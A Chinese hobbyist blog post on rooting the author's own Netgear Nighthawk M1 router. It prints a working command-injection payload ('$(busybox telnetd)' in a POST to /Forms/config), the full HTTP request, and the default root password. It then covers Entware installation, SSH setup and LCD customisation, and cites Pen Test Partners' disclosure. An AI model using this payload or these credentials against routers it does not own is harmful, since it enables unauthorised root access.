当时脑热买了这个狂贵的随身路由器,于是就想着能不能把这个玩出点花样来。只可惜高通MDM9250基带芯片真的很少有设备用,第三方固件肯定是不要想了。网上找了一堆资料后琢磨着用AT命令,但是也不知道ENTERCND的密码。这两天再次查找资料的时候意外的发现国外的安全团队Pen Test Partners已经通过内置HTTP服务的一个远程可执行代码的漏洞打开了内部Linux的telnet,并且root账户的密码还是一个默认密码!下面天书把每一步的操作都整理记录,纪念一下这个激动人心的过程。
0.准备工作
首先你需要一台M1(废话)。其次你需要一些网络基础知识、Linux操作基础和一颗折腾的心。
这里顺便说一下如果想玩AT命令,比如添加手动锁频段功能( https://mt-tech.fi/en/enable-manual-band-selection-on-netgear-mr1100/ ),需要用Type-C线连接电脑,用有线网卡模式,就可以telnet 5510端口了。
1.使用远程可执行代码漏洞
登录管理后台,打开Chrome的开发者工具,任意触发一个命令(如打开LED指示灯,右上角三个点的菜单按钮 > LED Settings > APPLY),截取访问地址为/Forms/config这一条请求:

使用模拟HTTP工具,如Postman,复制Chrome中的Request Headers和Form Data(注意这里Postman的Body有自己的格式,不能直接用编码过的格式),修改Form Datay中的原指令为ready.deviceShare.removeUsbDevice:;$(busybox telnetd);
这里为了方便大家,准备好了两段使用Postman的请求内容,只需要修改几个与上面截取的请求中同名的参数为截取到的参数即可。新建请求后点击Bulk Edit模式,粘贴:
Heaers:
Host: 替换为你的Host
Proxy-Connection: keep-alive
Origin: 替换为你的Origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Referer: 替换为你的Refer
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie:替换为你的Cookie
Body (类型选择x-www-form-urlencoded):
ready.deviceShare.removeUsbDevice:;$(busybox telnetd);
token:替换为你的token
err_redirect:/error.json
ok_redirect:/success.json
最后长这样:


记得修改请求类型为POST,一个完整的请求如下
POST /Forms/config HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/index.html
Content-type: application/x-www-form-urlencoded
Content-Length: 143
Cookie: sessionId=00000008-8CKtg8jB5TJ0WhJALlbTXIdplP9wDZs
Connection: close
ready.deviceShare.removeUsbDevice=;$(busybox telnetd);&err_redirect=/error.json&ok_redirect=/success.json&token=kMOvNyZv6Jh4dHTOELKhMGuBNMUlXZ6
发送请求后如果没有返回错误(Postman会显示Could not get any response),就代表成功了!
2.登录root账户
使用Windows内置的telnet工具(需要在Windows功能中手动打开)或第三方工具使用默认端口23连接路由器,这里的IP请根据自己的设置自行更换
telnet 192.168.6.1
激动人心的时刻来了,熟悉的Linux登录!
这里使用root账户和默认密码oelinux123
/home/mobaxterm > telnet 192.168.6.1
Trying 192.168.6.1...
Connected to 192.168.6.1.
Escape character is '^]'.
msm 201810101820 mdm9650
mdm9650 login: root
Password:
root@mdm9650:~#
登录成功!
3.挂载外置存储(可选)
由于内置闪存有限,我们可以挂载外置存储。M1有一个内置Micro SD卡槽就很棒棒。当然内置闪存也可以安装一点软件,所以这里作为可选项。
插入Micro SD卡后查看是否已经成功挂载
挂载到/opt分区
(本段正在完善中……)
4.安装opkg(entware)包管理器
使用官方一键安装命令
wget http://pkg.entware.net/binaries/armv7/installer/entware_install.sh
chmod +x entware_install.sh
sh entware_install.sh
添加PATH
临时生效命令:
export PATH="/opt/bin:/opt/sbin:$PATH"
如果要永久修改,需要使用vi对/etc/profile中的PATH进行修改,不会vi/vim没关系,请按照下列顺序操作:
- 输入
vi /etc/profile - 按
i进入编辑模式 - 在第四行的
PATH增加/opt/bin:/opt/sbin:,修改后这一行长这样PATH="/opt/bin:/opt/sbin:/usr/local/bin:/usr/bin:/bin" - 按
<ESC>退出编辑模式 - 输入
:wq保存退出 - 输入以下命令使其立即生效
source /etc/profile
安装一个curl来试一下
opkg install curl
获取个天气试试
curl wttr.in
接下来还需要帮opkg添加开机自启,由于这个系统没有rc.local,所以我们先把opkg自己的全启动服务添加软链接,并通过update-rc.d添加该启动服务:
ln -sf /opt/etc/init.d/rc.unslung /etc/init.d/opkg
update-rc.d opkg defaults 99
5.更多骚操作
有一个需要注意的是,opkg(Entware)中所有的安装目录、配置文件,全部在/opt下,这样的好处就是所有软件的包和配置全部不在系统里面,这样就不会与路由器更新固件冲突了,所以在网上找相关工具教程的时候,一定要记得在目录名前面加/opt
安装OpenSSH(其实这个系统Dropbear更合适)
opkg install openssh-server
# 如果需要使用scp传输文件,还要安装下面这个
opkg install openssh-client
下面生成密钥:
ssh-keygen -t rsa -f /opt/etc/ssh/ssh_host_rsa_key
ssh-keygen -t ecdsa -f /opt/etc/ssh/ssh_host_ecdsa_key
ssh-keygen -t ed25519 -f /opt/etc/ssh/ssh_host_ed25519_key
如果你需要使用自己的密钥,请参考其他说明进行,如果要使用密码登录,记得到配置文件/opt/etc/ssh/sshd_config中,添加PermitRootLogin yes,注意里面原有的#PermitRootLogin prohibit-password即使取消注释还不行,因为prohibit-password(禁止密码)代表只能用密钥
另外还需要在/etc/passwd中添加一行,为sshd设置权限
sshd:x:74:74:Privilege-separated SSH:/opt/sbin/sshd:/sbin/nologin
启动!
/opt/etc/init.d/S40sshd restart
给液晶屏换个背景!
这么臭的路由器还有要的必要嘛

这个液晶屏显示的内容其实是个网页,地址是/lcd/index.html,加上自己路由器的IP打开看看吧!
想要更换也很简单,我们先把存有网页源文件的分区重新以读写挂载:
mount -o remount rw /mnt/hdata
然后我们来到目录/mnt/hdata/lcd/下面自己玩就好了!什么,不会改?赶快去学点web吧。
这里还有一个需要注意的是,这个tmpl文件里面有一些文本编辑器无法识别的字符,如果使用VS Code,会把里面的一些字符改成00,导致整体无法运行,天书是使用Notepad++才改起来的(记得把Encoding调成UTF-8)。至于这个tmpl到底是什么软件弄的,天书目前还没搞明白。
更多
其他天书还在研究中,整好了就更新……
6.关于安全还想说点
说起来矛盾,如果没有这个漏洞,那么就没有这么多好玩的了。但是这个漏洞对黑客来说也是一个绝佳的攻击机会。在探索这个系统的过程中还发现里面竟然是开着调试模式运行的,里面还有一大段警告写如果发现这段文字请报告给制造商。然而网件公司在收到PenTestParters的报告后竟然评估无影响,无需修复,令人震惊。以后这些设备可不可以参考一些手机厂商的操作方式,让用户在放弃保修的前提下,官方开放root权限出来给极客使用?
引用
PenTestParters的博客:https://www.pentestpartners.com/security-blog/how-not-to-do-cross-site-request-forgery-protection-the-netgear-nighthawk-m1/
介绍整个方法的PPT: http://127.0.0.1:18080/legacy-assets/c9f7170dd1d6dfee81c94751acb05fd3a9e761bbc3735f7d70fb25c88cae0f83.pdf
扩展阅读
新固件改掉了默认密码,可以在以下链接找到算出新密码的方法:
https://www.mobile01.com/topicdetail.php?f=18&t=5293897&p=53#80610776
https://forums.whirlpool.net.au/archive/2515438
https://gist.github.com/jkinred/73689e463a08af963c45c137df6646d0
警告:本文章内容仅限学习与安全研究,请勿用于非法用途,对系统进行修改可能会失去制造商保修,对此造成的一切后果本博客不负任何责任